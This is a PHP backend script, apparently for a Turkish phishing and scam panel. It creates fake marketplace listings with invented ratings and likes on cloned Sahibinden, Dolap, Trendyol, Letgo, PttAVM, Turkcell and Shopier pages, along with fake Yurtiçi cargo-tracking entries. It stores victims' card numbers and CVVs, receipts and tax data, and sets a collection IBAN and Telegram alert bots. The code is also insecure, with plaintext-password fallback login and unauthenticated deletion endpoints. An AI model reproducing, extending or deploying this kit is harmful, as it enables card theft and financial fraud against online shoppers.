<?php
// İLK SATIR - TEST
if (!isset($_POST) || empty($_POST)) {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode(['sonuc' => 'test', 'mesaj' => 'POST bos, dosya calisiyor']);
    exit;
}

error_reporting(E_ALL);
ini_set('display_errors', 0);

// Hataları JSON olarak döndür
set_exception_handler(function($e) {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode(['sonuc' => 'hata', 'mesaj' => 'Exception: ' . $e->getMessage()]);
    exit;
});

set_error_handler(function($errno, $errstr, $errfile, $errline) {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode(['sonuc' => 'hata', 'mesaj' => "Error [$errno]: $errstr"]);
    exit;
});

session_start();
header('Content-Type: application/json; charset=utf-8');

// ============ Helper Functions - ÖNCE TANIMLA ============
if (!function_exists('jsonResponse')) {
    function jsonResponse($sonuc, $mesaj = '') {
        echo json_encode(['sonuc' => $sonuc, 'mesaj' => $mesaj], JSON_UNESCAPED_UNICODE);
        exit;
    }
}

if (!function_exists('clean')) {
    function clean($str) {
        return htmlspecialchars(trim($str), ENT_QUOTES, 'UTF-8');
    }
}

if (!function_exists('uploadImages')) {
    function uploadImages($files, $max = 6) {
        $uploaded = [];
        $uploadDir = __DIR__ . '/../images/';
        
        if (!is_dir($uploadDir)) {
            mkdir($uploadDir, 0755, true);
        }
        
        $allowedTypes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
        
        foreach ($files['tmp_name'] as $key => $tmpName) {
            if (count($uploaded) >= $max) break;
            if (empty($tmpName) || $files['error'][$key] !== UPLOAD_ERR_OK) continue;
            
            $fileType = mime_content_type($tmpName);
            if (!in_array($fileType, $allowedTypes)) continue;
            
            $ext = pathinfo($files['name'][$key], PATHINFO_EXTENSION);
            $newName = uniqid() . '_' . time() . '.' . $ext;
            
            if (move_uploaded_file($tmpName, $uploadDir . $newName)) {
                $uploaded[] = $newName;
            }
        }
        
        return $uploaded;
    }
}

require_once __DIR__ . '/fonk.php';
require_once __DIR__ . '/config.php';

// Veritabanı bağlantısı
try {
    $db = new PDO(
        "mysql:host=$dbHost;dbname=$dbName;charset=utf8mb4",
        $dbUser,
        $dbPass,
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
        ]
    );
} catch (PDOException $e) {
    jsonResponse('hata', 'Veritabanı bağlantı hatası');
}

$kul_id = $_SESSION['kul_id'] ?? '';

// ============ SADECE ŞİFRE İLE GİRİŞ (YENİ SİSTEM) ============
if (isset($_POST['sifre_giris'])) {
    try {
        $sifre = trim($_POST['panel_sifre'] ?? '');
        
        if (empty($sifre)) {
            jsonResponse('bos', 'Şifre girin');
        }
        
        // Tüm kullanıcıları çek ve şifre kontrolü yap
        $stmt = $db->prepare("SELECT * FROM kullanicilar");
        $stmt->execute();
        $allUsers = $stmt->fetchAll();
        
        $user = null;
        foreach ($allUsers as $u) {
            // Hash'li şifre kontrolü
            if (password_verify($sifre, $u['sifre'])) {
                $user = $u;
                break;
            }
            // Düz şifre kontrolü (eğer hash'lenmemişse)
            if ($sifre === $u['sifre']) {
                $user = $u;
                break;
            }
        }
        
        if ($user) {
            $_SESSION['kul_id'] = $user['kullaniciadi'];
            $_SESSION['k_rol'] = $user['k_rol'] ?? 'user';
            jsonResponse('tamam', 'Giriş başarılı');
        }
        
        jsonResponse('yanlis', 'Geçersiz şifre');
        
    } catch (Exception $e) {
        jsonResponse('hata', 'Sistem hatası: ' . $e->getMessage());
    }
}

// ============ ESKİ GİRİŞ (KULLANICI ADI + ŞİFRE) ============
if (isset($_POST['oturumacgiris'])) {
    $kullaniciadi = clean($_POST['kul_id'] ?? '');
    $sifre = $_POST['kul_sifre'] ?? '';
    
    if (empty($kullaniciadi) || empty($sifre)) {
        jsonResponse('bos', 'Tüm alanları doldurun');
    }
    
    $stmt = $db->prepare("SELECT * FROM kullanicilar WHERE kullaniciadi = ?");
    $stmt->execute([$kullaniciadi]);
    $user = $stmt->fetch();
    
    if ($user && password_verify($sifre, $user['sifre'])) {
        $_SESSION['kul_id'] = $kullaniciadi;
        $_SESSION['k_rol'] = $user['k_rol'];
        jsonResponse('tamam', 'Giriş başarılı');
    }
    
    jsonResponse('yanlis', 'Hatalı kullanıcı adı veya şifre');
}

// ============ KAYIT ============
if (isset($_POST['kayitol'])) {
    $kullaniciadi = clean($_POST['kul_id'] ?? '');
    $sifre = $_POST['kul_sifre'] ?? '';
    $refkod = strtoupper(clean($_POST['ref_kod'] ?? ''));
    
    if (empty($kullaniciadi) || empty($sifre) || empty($refkod)) {
        jsonResponse('bos', 'Tüm alanları doldurun');
    }
    
    $stmt = $db->prepare("SELECT * FROM refkodlari WHERE ref_code = ?");
    $stmt->execute([$refkod]);
    if (!$stmt->fetch()) {
        jsonResponse('refhata', 'Geçersiz referans kodu');
    }
    
    $stmt = $db->prepare("SELECT id FROM kullanicilar WHERE kullaniciadi = ?");
    $stmt->execute([$kullaniciadi]);
    if ($stmt->fetch()) {
        jsonResponse('var', 'Bu kullanıcı adı zaten kullanılıyor');
    }
    
    $hash = password_hash($sifre, PASSWORD_DEFAULT);
    $stmt = $db->prepare("INSERT INTO kullanicilar (kullaniciadi, sifre, k_rol) VALUES (?, ?, 'user')");
    $stmt->execute([$kullaniciadi, $hash]);
    
    $stmt = $db->prepare("DELETE FROM refkodlari WHERE ref_code = ?");
    $stmt->execute([$refkod]);
    
    jsonResponse('tamam', 'Kayıt başarılı');
}

// ============ TOPLU İLAN EKLE ============
if (isset($_POST['topluilan'])) {
    if (empty($kul_id)) jsonResponse('hata', 'Oturum geçersiz');
    
    $urunadi = clean($_POST['urunadi'] ?? '');
    $adsoyad = clean($_POST['adsoyad'] ?? '');
    
    if (empty($urunadi) || empty($adsoyad)) {
        jsonResponse('bos', 'Ürün adı ve satıcı adı zorunludur');
    }
    
    $platformlar = $_POST['platformlar'] ?? [];
    if (empty($platformlar)) {
        jsonResponse('hata', 'En az bir platform seçmelisiniz');
    }
    
    $grup_id = 'GRP_' . time() . '_' . rand(1000, 9999);
    
    $aciklama = clean($_POST['aciklama'] ?? '');
    $urunfiyati = clean($_POST['urunfiyati'] ?? '0');
    $komisyon = clean($_POST['komisyon'] ?? '250');
    $telno = clean($_POST['telno'] ?? '');
    $ilanno = clean($_POST['ilanno'] ?? '');
    $ilantarihi = clean($_POST['ilantarihi'] ?? date('d/m/Y'));
    
    $il = clean($_POST['il'] ?? 'İstanbul');
    $ilce = clean($_POST['ilce'] ?? 'Kadıköy');
    $mahalle = clean($_POST['mahalle'] ?? 'Caferağa');
    
    $kat1 = clean($_POST['kat1'] ?? 'İkinci El ve Sıfır Alışveriş');
    $kat2 = clean($_POST['kat2'] ?? 'Elektronik');
    $kat3 = clean($_POST['kat3'] ?? 'Cep Telefonu');
    
    $kimden = clean($_POST['kimden'] ?? 'Sahibinden');
    $durumu = clean($_POST['durumu'] ?? 'İkinci El');
    $kullanim = clean($_POST['kullanim'] ?? 'Az Kullanılmış');
    $renk = clean($_POST['renk'] ?? 'Siyah');
    $kargoucreti = clean($_POST['kargoucreti'] ?? 'Ücretsiz');
    
    // Üye Giriş ve Kart Bilgi ayarları
    $uyegiris = ($_POST['uyegiris'] ?? 'pasif') === 'aktif' ? 'Evet' : 'Hayır';
    $kartbilgi = ($_POST['kartbilgi'] ?? 'pasif') === 'aktif' ? 'Evet' : 'Hayır';
    
    if (empty($ilanno)) {
        $ilanno = rand(100000000, 999999999);
    }
    
    $resimler = isset($_FILES['resimler']) ? uploadImages($_FILES['resimler'], 6) : [];
    $resim1 = $resimler[0] ?? '';
    $resim2 = $resimler[1] ?? '';
    $resim3 = $resimler[2] ?? '';
    $resim4 = $resimler[3] ?? '';
    $resim5 = $resimler[4] ?? '';
    $resim6 = $resimler[5] ?? '';
    
    $basarili = 0;
    $hatali = 0;
    $basariliPlatformlar = [];
    
    // SAHİBİNDEN
    if (in_array('sahibinden', $platformlar)) {
        try {
            $stmt = $db->prepare("INSERT INTO ilan_sahibinden (ekleyen, ilandurum, kartibanselect, selectgiris, urunadi, adsoyad, aciklama, ilantarihi, ilanno, telno, kimden, durumu, urunfiyati, komisyon, il, ilce, mahalle, kat1, kat2, ozellik_ad, ozellik_deger, resim1, resim2, resim3, resim4, resim5, dekont, grup_id) VALUES (?, '1', ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, '', '', ?, ?, ?, ?, ?, '', ?)");
            $stmt->execute([$kul_id, $kartbilgi, $uyegiris, $urunadi, $adsoyad, $aciklama, $ilantarihi, $ilanno, $telno, $kimden, $durumu, $urunfiyati, $komisyon, $il, $ilce, $mahalle, $kat1, $kat2, $resim1, $resim2, $resim3, $resim4, $resim5, $grup_id]);
            $basarili++;
            $basariliPlatformlar[] = 'Sahibinden';
        } catch (Exception $e) { $hatali++; }
    }
    
    // DOLAP
    if (in_array('dolap', $platformlar)) {
        try {
            $stmt = $db->prepare("INSERT INTO ilan_dolap (ekleyen, ilandurum, kartibanselect, selectgiris, urunadi, adsoyad, aciklama, urunfiyati, kat1, kat2, kat3, indirim, begeni, puan, yorum, alicisatici, kullanim, resim1, resim2, resim3, resim4, resim5, resim6, saticipp, dekont, grup_id) VALUES (?, '1', ?, ?, ?, ?, ?, ?, ?, ?, ?, '', '245', '4.9', '128', '', ?, ?, ?, ?, ?, ?, ?, '', '', ?)");
            $stmt->execute([$kul_id, $kartbilgi, $uyegiris, $urunadi, $adsoyad, $aciklama, $urunfiyati, $kat1, $kat2, $kat3, $kullanim, $resim1, $resim2, $resim3, $resim4, $resim5, $resim6, $grup_id]);
            $basarili++;
            $basariliPlatformlar[] = 'Dolap';
        } catch (Exception $e) { $hatali++; }
    }
    
    // TRENDYOL
    if (in_array('trendyol', $platformlar)) {
        try {
            $short_code = substr(md5(uniqid(mt_rand(), true)), 0, 8);
            $kategori1 = isset($_POST['kategori1']) ? trim($_POST['kategori1']) : 'Kategori';
            $kategori2 = isset($_POST['kategori2']) ? trim($_POST['kategori2']) : '';
            $kategori3 = isset($_POST['kategori3']) ? trim($_POST['kategori3']) : '';
            $saticiadi = isset($_POST['saticiadi']) ? trim($_POST['saticiadi']) : 'Trendyol Satıcısı';
            $selectgiris = isset($_POST['selectgiris']) ? trim($_POST['selectgiris']) : 'Hayır';
            $kartibanselect = isset($_POST['kartibanselect']) ? trim($_POST['kartibanselect']) : 'Hayır';
            
            $stmt = $db->prepare("INSERT INTO ilan_trendyol (ekleyen, ilandurum, short_code, urunadi, urunfiyati, komisyon, aciklama, resim1, resim2, resim3, resim4, resim5, grup_id, kategori1, kategori2, kategori3, saticiadi, selectgiris, kartibanselect) VALUES (?, '1', ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
            $stmt->execute([$kul_id, $short_code, $urunadi, $urunfiyati, $komisyon, $aciklama, $resim1, $resim2, $resim3, $resim4, $resim5, $grup_id, $kategori1, $kategori2, $kategori3, $saticiadi, $selectgiris, $kartibanselect]);
            $basarili++;
            $basariliPlatformlar[] = 'Trendyol';
        } catch (Exception $e) { $hatali++; error_log("Trendyol INSERT hatası: " . $e->getMessage()); }
    }
    
    // LETGO
    if (in_array('letgo', $platformlar)) {
        try {
            $stmt = $db->prepare("INSERT INTO ilan_letgo (ekleyen, ilandurum, kartibanselect, selectgiris, urunadi, adsoyad, urunfiyati, ilantarihi, ilanno, aciklama, il, ilce, kat1, kat2, kategori1, kategori2, kategori3, kategori4, resim1, resim2, resim3, resim4, resim5, resim6, saticipp, dekont, grup_id) VALUES (?, '1', ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, '', ?, ?, ?, ?, ?, ?, '', '', ?)");
            $stmt->execute([$kul_id, $kartbilgi, $uyegiris, $urunadi, $adsoyad, $urunfiyati, $ilantarihi, $ilanno, $aciklama, $il, $ilce, $kat1, $kat2, $kat1, $kat2, $kat3, $resim1, $resim2, $resim3, $resim4, $resim5, $resim6, $grup_id]);
            $basarili++;
            $basariliPlatformlar[] = 'Letgo';
        } catch (Exception $e) { $hatali++; }
    }
    
    // PTTAVM
   if (in_array('pttavm', $platformlar)) {
    try {
        $short_code_pttavm = substr(md5(uniqid(rand(), true)), 0, 8);
        $saticiadi_pttavm = isset($_POST['saticiadi']) ? trim($_POST['saticiadi']) : 'PTT AVM Satıcısı';
        $stmt = $db->prepare("INSERT INTO ilan_pttavm (ekleyen, short_code, ilandurum, kartibanselect, selectgiris, urunadi, urunfiyati, saticiadi, aciklama, kat1, kat2, kat3, resim1, resim2, resim3, resim4, resim5, dekont, grup_id) VALUES (?, ?, '1', ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, '', ?)");
        $stmt->execute([$kul_id, $short_code_pttavm, $kartbilgi, $uyegiris, $urunadi, $urunfiyati, $saticiadi_pttavm, $aciklama, $kat1, $kat2, $kat3, $resim1, $resim2, $resim3, $resim4, $resim5, $grup_id]);
        $basarili++;
        $basariliPlatformlar[] = 'PttAVM';
    } catch (Exception $e) { $hatali++; }
}
    
    // TURKCELL
    if (in_array('turkcell', $platformlar)) {
        try {
            $stmt = $db->prepare("INSERT INTO ilan_turkcell (ekleyen, ilandurum, kartibanselect, selectgiris, urunadi, urunfiyati, renk, renkpaleti, indirimBitis, kat1, kat2, resim1, resim2, resim3, resim4, resim5, dekont, grup_id) VALUES (?, '1', ?, ?, ?, ?, ?, '', '', ?, ?, ?, ?, ?, ?, ?, '', ?)");
            $stmt->execute([$kul_id, $kartbilgi, $uyegiris, $urunadi, $urunfiyati, $renk, $kat1, $kat2, $resim1, $resim2, $resim3, $resim4, $resim5, $grup_id]);
            $basarili++;
            $basariliPlatformlar[] = 'Turkcell';
        } catch (Exception $e) { $hatali++; }
    }
    
    // SHOPIER
    if (in_array('shopier', $platformlar)) {
        try {
            $stmt = $db->prepare("INSERT INTO ilan_shopier (ekleyen, ilandurum, kartibanselect, selectgiris, urunadi, adsoyad, urunfiyati, saticiaciklama, aciklama, kargoucreti, resim1, resim2, resim3, resim4, resim5, dekont, grup_id) VALUES (?, '1', ?, ?, ?, ?, ?, '', ?, ?, ?, ?, ?, ?, ?, '', ?)");
            $stmt->execute([$kul_id, $kartbilgi, $uyegiris, $urunadi, $adsoyad, $urunfiyati, $aciklama, $kargoucreti, $resim1, $resim2, $resim3, $resim4, $resim5, $grup_id]);
            $basarili++;
            $basariliPlatformlar[] = 'Shopier';
        } catch (Exception $e) { $hatali++; }
    }
    
    if ($basarili > 0) {
        $platformListesi = implode(', ', $basariliPlatformlar);
        jsonResponse('tamam', "$basarili platforma ilan oluşturuldu: $platformListesi");
    } else {
        jsonResponse('hata', 'İlan oluşturulamadı!');
    }
}

// ============ REF KODU OLUŞTUR ============
if (isset($_POST['yenirefkodu'])) {
    $code = strtoupper(clean($_POST['yenirefkodu']));
    $stmt = $db->prepare("INSERT INTO refkodlari (ref_code) VALUES (?)");
    $stmt->execute([$code]);
    jsonResponse('tamam', 'Ref kodu oluşturuldu');
}

// ============ PANEL AYARLARI ============
if (isset($_POST['panelayarlari'])) {
    if (($_SESSION['k_rol'] ?? '') !== 'admin') {
        jsonResponse('hata', 'Yetkiniz yok');
    }
    
    try {
        $stmt = $db->prepare("UPDATE panel SET dom_panel = ?, dom_sahibinden = ?, dom_dolap = ?, dom_letgo = ?, dom_pttavm = ?, dom_turkcell = ?, dom_shopier = ?, dom_yurtici = ?, dom_facebook = ?, iban = ?, ibanad = ?, banka = ?, adminbot_token = ?, adminbot_chatid = ?, cekimbot_token = ?, cekimbot_chatid = ?, dekontbot_token = ?, dekontbot_chatid = ?, vergibot_token = ?, vergibot_chatid = ?, whatsapp = ? WHERE id = 1");
        $stmt->execute([
            clean($_POST['dom_panel'] ?? ''),
            clean($_POST['dom_sahibinden'] ?? ''),
            clean($_POST['dom_dolap'] ?? ''),
            clean($_POST['dom_letgo'] ?? ''),
            clean($_POST['dom_pttavm'] ?? ''),
            clean($_POST['dom_turkcell'] ?? ''),
            clean($_POST['dom_shopier'] ?? ''),
            clean($_POST['dom_yurtici'] ?? ''),
            clean($_POST['dom_facebook'] ?? ''),
            clean($_POST['iban'] ?? ''),
            clean($_POST['ibanad'] ?? ''),
            clean($_POST['banka'] ?? ''),
            clean($_POST['adminbot_token'] ?? ''),
            clean($_POST['adminbot_chatid'] ?? ''),
            clean($_POST['cekimbot_token'] ?? ''),
            clean($_POST['cekimbot_chatid'] ?? ''),
            clean($_POST['dekontbot_token'] ?? ''),
            clean($_POST['dekontbot_chatid'] ?? ''),
            clean($_POST['vergibot_token'] ?? ''),
            clean($_POST['vergibot_chatid'] ?? ''),
            clean($_POST['whatsapp'] ?? '')
        ]);
        jsonResponse('tamam', 'Panel ayarları güncellendi');
    } catch (Exception $e) {
        jsonResponse('hata', 'Güncelleme hatası');
    }
}

// ============ İLAN SİL ============
if (isset($_POST['ilansil'])) {
    $platform = clean($_POST['platform'] ?? '');
    $id = intval($_POST['id'] ?? 0);
    
    $tables = [
        'sahibinden' => 'ilan_sahibinden',
        'dolap' => 'ilan_dolap',
        'trendyol' => 'ilan_trendyol',
        'letgo' => 'ilan_letgo',
        'pttavm' => 'ilan_pttavm',
        'turkcell' => 'ilan_turkcell',
        'shopier' => 'ilan_shopier',
        'trendyol' => 'ilan_trendyol',
        'ilan_sahibinden' => 'ilan_sahibinden',
        'ilan_dolap' => 'ilan_dolap',
        'ilan_trendyol' => 'ilan_trendyol',
        'ilan_letgo' => 'ilan_letgo',
        'ilan_pttavm' => 'ilan_pttavm',
        'ilan_turkcell' => 'ilan_turkcell',
        'ilan_shopier' => 'ilan_shopier',
        'ilan_trendyol' => 'ilan_trendyol'
    ];
    
    if (!isset($tables[$platform]) || $id <= 0) {
        jsonResponse('hata', 'Geçersiz parametre');
    }
    
    $table = $tables[$platform];
    $stmt = $db->prepare("DELETE FROM $table WHERE id = ? AND ekleyen = ?");
    $stmt->execute([$id, $kul_id]);
    
    if ($stmt->rowCount() > 0) {
        jsonResponse('tamam', 'İlan silindi');
    } else {
        jsonResponse('hata', 'İlan bulunamadı');
    }
}

// ============ GRUP İLAN SİL ============
if (isset($_POST['grupsil'])) {
    $grup_id = clean($_POST['grup_id'] ?? '');
    
    if (empty($grup_id)) {
        jsonResponse('hata', 'Grup ID gerekli');
    }
    
    $tables = ['ilan_sahibinden', 'ilan_dolap', 'ilan_trendyol', 'ilan_letgo', 'ilan_pttavm', 'ilan_turkcell', 'ilan_shopier'];
    $silinen = 0;
    
    foreach ($tables as $table) {
        try {
            $stmt = $db->prepare("DELETE FROM $table WHERE grup_id = ? AND ekleyen = ?");
            $stmt->execute([$grup_id, $kul_id]);
            $silinen += $stmt->rowCount();
        } catch (Exception $e) {}
    }
    
    if ($silinen > 0) {
        jsonResponse('tamam', "$silinen ilan silindi");
    } else {
        jsonResponse('hata', 'İlan bulunamadı');
    }
}

// ============ KART EKLE ============
if (isset($_POST['kartekle'])) {
    if (empty($kul_id)) jsonResponse('hata', 'Oturum geçersiz');
    
    $kartno = clean($_POST['kartno'] ?? '');
    $skt = clean($_POST['skt'] ?? '');
    $cvv = clean($_POST['cvv'] ?? '');
    $adsoyad = clean($_POST['adsoyad'] ?? '');
    
    if (empty($kartno) || empty($skt) || empty($cvv)) {
        jsonResponse('bos', 'Kart bilgileri zorunludur');
    }
    
    $stmt = $db->prepare("INSERT INTO kartlar (ekleyen, kartno, skt, cvv, adsoyad) VALUES (?, ?, ?, ?, ?)");
    $stmt->execute([$kul_id, $kartno, $skt, $cvv, $adsoyad]);
    
    jsonResponse('tamam', 'Kart eklendi');
}

// ============ KARGO EKLE ============
if (isset($_POST['kargoekle'])) {
    if (empty($kul_id)) jsonResponse('hata', 'Oturum geçersiz');
    
    $gonderi_kodu = clean($_POST['gonderi_kodu'] ?? '');
    $durum = clean($_POST['durum'] ?? 'Hazırlanıyor');
    $gonderi_tipi = clean($_POST['gonderi_tipi'] ?? 'Gönderici Ödemeli');
    $gonderen = clean($_POST['gonderen'] ?? '');
    $teslim_alan = clean($_POST['teslim_alan'] ?? '');
    $cikis_tarihi = clean($_POST['cikis_tarihi'] ?? '');
    $teslim_tarihi = clean($_POST['teslim_tarihi'] ?? '');
    $teslim_birimi = clean($_POST['teslim_birimi'] ?? '');
    $cikis_yeri = clean($_POST['cikis_yeri'] ?? '');
    $varis_yeri = clean($_POST['varis_yeri'] ?? '');
    $telefon = clean($_POST['telefon'] ?? '');
    
    if (empty($gonderi_kodu) || empty($gonderen) || empty($teslim_alan)) {
        jsonResponse('bos', 'Gönderi kodu, gönderen ve teslim alan zorunludur');
    }
    
    $step1 = ''; $step2 = ''; $step3 = ''; $step4 = '';
    switch($durum) {
        case 'Hazırlanıyor': $step1 = 'active'; break;
        case 'Taşıma Durumunda': $step1 = 'active'; $step2 = 'active'; break;
        case 'Varış Biriminde': $step1 = 'active'; $step2 = 'active'; $step3 = 'active'; break;
        case 'Dağıtıma Çıktı': $step1 = 'active'; $step2 = 'active'; $step3 = 'active'; break;
        case 'Teslim Edildi': $step1 = 'active'; $step2 = 'active'; $step3 = 'active'; $step4 = 'active'; break;
    }
    
    try {
        $stmt = $db->prepare("INSERT INTO yurtici (id, ekleyen, ilandurum, durum, gonderen, teslimalan, cikistarihi, teslimtarihi, teslimbirimi, cikisyeri, varisyeri, gonderitipi, telno, step1, step2, step3, step4) VALUES (?, ?, '1', ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)");
        $stmt->execute([$gonderi_kodu, $kul_id, $durum, $gonderen, $teslim_alan, $cikis_tarihi, $teslim_tarihi, $teslim_birimi, $cikis_yeri, $varis_yeri, $gonderi_tipi, $telefon, $step1, $step2, $step3, $step4]);
        jsonResponse('tamam', 'Kargo oluşturuldu');
    } catch (Exception $e) {
        jsonResponse('hata', 'Kargo oluşturulamadı');
    }
}

// ============ KARGO SİL ============
if (isset($_POST['kargosil'])) {
    $id = clean($_POST['id'] ?? '');
    
    if (empty($id)) {
        jsonResponse('hata', 'Geçersiz ID');
    }
    
    $stmt = $db->prepare("DELETE FROM yurtici WHERE id = ? AND ekleyen = ?");
    $stmt->execute([$id, $kul_id]);
    
    if ($stmt->rowCount() > 0) {
        jsonResponse('tamam', 'Kargo silindi');
    } else {
        jsonResponse('hata', 'Kargo bulunamadı');
    }
}

// ============ DEKONT SİL ============
if (isset($_POST['dekontsil'])) {
    $id = intval($_POST['id'] ?? 0);
    
    if ($id <= 0) {
        jsonResponse('hata', 'Geçersiz ID');
    }
    
    $stmt = $db->prepare("DELETE FROM dekontlar WHERE id = ?");
    $stmt->execute([$id]);
    
    if ($stmt->rowCount() > 0) {
        jsonResponse('tamam', 'Dekont silindi');
    } else {
        jsonResponse('hata', 'Dekont bulunamadı');
    }
}

// ============ TÜM DEKONTLARI SİL ============
if (isset($_POST['tumdekontlarisil'])) {
    $stmt = $db->query("DELETE FROM dekontlar");
    jsonResponse('tamam', 'Tüm dekontlar silindi');
}

// ============ VERİ SİL ============
if (isset($_POST['verisil'])) {
    $id = intval($_POST['id'] ?? 0);
    $tablo = $_POST['tablo'] ?? 'veriler';
    
    // Güvenlik: sadece izin verilen tablolar
    $izinliTablolar = ['veriler', 'hesaplar'];
    if (!in_array($tablo, $izinliTablolar)) {
        $tablo = 'veriler';
    }
    
    if ($id <= 0) {
        jsonResponse('hata', 'Geçersiz ID');
    }
    
    try {
        $stmt = $db->prepare("DELETE FROM {$tablo} WHERE id = :id");
        $result = $stmt->execute([':id' => $id]);
        if ($result && $stmt->rowCount() > 0) {
            jsonResponse('tamam', 'Veri silindi');
        } else {
            jsonResponse('hata', 'Kayıt bulunamadı veya silinemedi');
        }
    } catch (Exception $e) {
        jsonResponse('hata', 'Silme hatası: ' . $e->getMessage());
    }
}

// ============ TÜM VERİLERİ SİL ============
if (isset($_POST['tumverilerisil'])) {
    try {
        $db->exec("DELETE FROM veriler");
        $db->exec("DELETE FROM hesaplar");
        jsonResponse('tamam', 'Tüm veriler silindi');
    } catch (Exception $e) {
        jsonResponse('hata', 'Silme hatası: ' . $e->getMessage());
    }
}

// ============ VERGİ BİLGİSİ SİL ============
if (isset($_POST['vergibilgisisil'])) {
    $id = intval($_POST['id'] ?? 0);
    if ($id <= 0) {
        jsonResponse('hata', 'Geçersiz ID');
    }
    $stmt = $db->prepare("DELETE FROM vergi_bilgileri WHERE id = ?");
    $stmt->execute([$id]);
    jsonResponse('tamam', 'Vergi bilgisi silindi');
}

// ============ TÜM VERGİ BİLGİLERİNİ SİL ============
if (isset($_POST['tumvergibilgilerinisil'])) {
    $stmt = $db->query("DELETE FROM vergi_bilgileri");
    jsonResponse('tamam', 'Tüm vergi bilgileri silindi');
}

// ============ TÜM KARGOLARI SİL ============
if (isset($_POST['tumkargolarisil'])) {
    $stmt = $db->query("DELETE FROM yurtici");
    jsonResponse('tamam', 'Tüm kargolar silindi');
}

// ============ ADMİN - IBAN GÜNCELLE ============
if (isset($_POST['admin_iban'])) {
    $k_rol = $_SESSION['k_rol'] ?? 'user';
    if ($k_rol !== 'admin') {
        jsonResponse('hata', 'Yetkiniz yok');
    }
    
    $iban = clean($_POST['iban'] ?? '');
    $ibanad = clean($_POST['ibanad'] ?? '');
    $banka = clean($_POST['banka'] ?? '');
    
    $stmt = $db->prepare("UPDATE panel SET iban = ?, ibanad = ?, banka = ? WHERE id = 1");
    $stmt->execute([$iban, $ibanad, $banka]);
    jsonResponse('tamam', 'IBAN güncellendi');
}

// ============ ADMİN - DOMAİN GÜNCELLE ============
if (isset($_POST['admin_domains'])) {
    $k_rol = $_SESSION['k_rol'] ?? 'user';
    if ($k_rol !== 'admin') {
        jsonResponse('hata', 'Yetkiniz yok');
    }
    
    $dom_panel = clean($_POST['dom_panel'] ?? '');
    $dom_sahibinden = clean($_POST['dom_sahibinden'] ?? '');
    $dom_dolap = clean($_POST['dom_dolap'] ?? '');
    $dom_trendyol = clean($_POST['dom_trendyol'] ?? '');
    $dom_letgo = clean($_POST['dom_letgo'] ?? '');
    $dom_pttavm = clean($_POST['dom_pttavm'] ?? '');
    
    $stmt = $db->prepare("UPDATE panel SET dom_panel = ?, dom_sahibinden = ?, dom_dolap = ?, dom_trendyol = ?, dom_letgo = ?, dom_pttavm = ? WHERE id = 1");
    $stmt->execute([$dom_panel, $dom_sahibinden, $dom_dolap, $dom_trendyol, $dom_letgo, $dom_pttavm]);
    jsonResponse('tamam', 'Domainler güncellendi');
}

// ============ ADMİN - WHATSAPP GÜNCELLE ============
if (isset($_POST['admin_whatsapp'])) {
    $k_rol = $_SESSION['k_rol'] ?? 'user';
    if ($k_rol !== 'admin') {
        jsonResponse('hata', 'Yetkiniz yok');
    }
    
    $whatsapp = clean($_POST['whatsapp'] ?? '');
    $whatsapp_baslik = clean($_POST['whatsapp_baslik'] ?? 'DALTON PANEL HİZMETLERİ');
    
    // whatsapp_baslik kolonu yoksa ekle
    try {
        $db->exec("ALTER TABLE panel ADD COLUMN whatsapp_baslik VARCHAR(255) DEFAULT 'DALTON PANEL HİZMETLERİ'");
    } catch (Exception $e) {}
    
    $stmt = $db->prepare("UPDATE panel SET whatsapp = ?, whatsapp_baslik = ? WHERE id = 1");
    $stmt->execute([$whatsapp, $whatsapp_baslik]);
    jsonResponse('tamam', 'WhatsApp güncellendi');
}

// ============ ADMİN - DUYURU GÜNCELLE ============
if (isset($_POST['admin_duyuru'])) {
    $k_rol = $_SESSION['k_rol'] ?? 'user';
    if ($k_rol !== 'admin') {
        jsonResponse('hata', 'Yetkiniz yok');
    }
    
    $duyuru = clean($_POST['duyuru'] ?? '');
    
    $stmt = $db->prepare("UPDATE panel SET duyuru = ? WHERE id = 1");
    $stmt->execute([$duyuru]);
    jsonResponse('tamam', 'Duyuru güncellendi');
}

// ============ ADMİN - ÜYELİK KAPAT ============
if (isset($_POST['admin_kapat_uyelik'])) {
    $k_rol = $_SESSION['k_rol'] ?? 'user';
    if ($k_rol !== 'admin') {
        jsonResponse('hata', 'Yetkiniz yok');
    }
    
    $kullanici = clean($_POST['kullanici'] ?? '');
    if (empty($kullanici)) {
        jsonResponse('hata', 'Kullanıcı adı boş');
    }
    
    $stmt = $db->prepare("DELETE FROM kullanicilar WHERE kullaniciadi = ? AND k_rol != 'admin'");
    $stmt->execute([$kullanici]);
    
    if ($stmt->rowCount() > 0) {
        jsonResponse('tamam', 'Üyelik kapatıldı');
    } else {
        jsonResponse('hata', 'Kullanıcı bulunamadı veya admin');
    }
}

// ============ ADMİN - YENİ KULLANICI OLUŞTUR ============
if (isset($_POST['admin_yeni_kullanici'])) {
    $k_rol = $_SESSION['k_rol'] ?? 'user';
    if ($k_rol !== 'admin') {
        jsonResponse('hata', 'Yetkiniz yok');
    }
    
    $kullaniciadi = clean($_POST['kullaniciadi'] ?? '');
    $sifre = $_POST['sifre'] ?? '';
    $rol = clean($_POST['rol'] ?? 'user');
    
    if (empty($kullaniciadi) || empty($sifre)) {
        jsonResponse('hata', 'Kullanıcı adı ve şifre zorunlu');
    }
    
    // Kullanıcı var mı kontrol
    $stmt = $db->prepare("SELECT id FROM kullanicilar WHERE kullaniciadi = ?");
    $stmt->execute([$kullaniciadi]);
    if ($stmt->fetch()) {
        jsonResponse('hata', 'Bu kullanıcı adı zaten var');
    }
    
    $hash = password_hash($sifre, PASSWORD_DEFAULT);
    $stmt = $db->prepare("INSERT INTO kullanicilar (kullaniciadi, sifre, k_rol) VALUES (?, ?, ?)");
    $stmt->execute([$kullaniciadi, $hash, $rol]);
    jsonResponse('tamam', 'Kullanıcı oluşturuldu');
}

// ============ İLAN DURUM DEĞİŞTİR ============
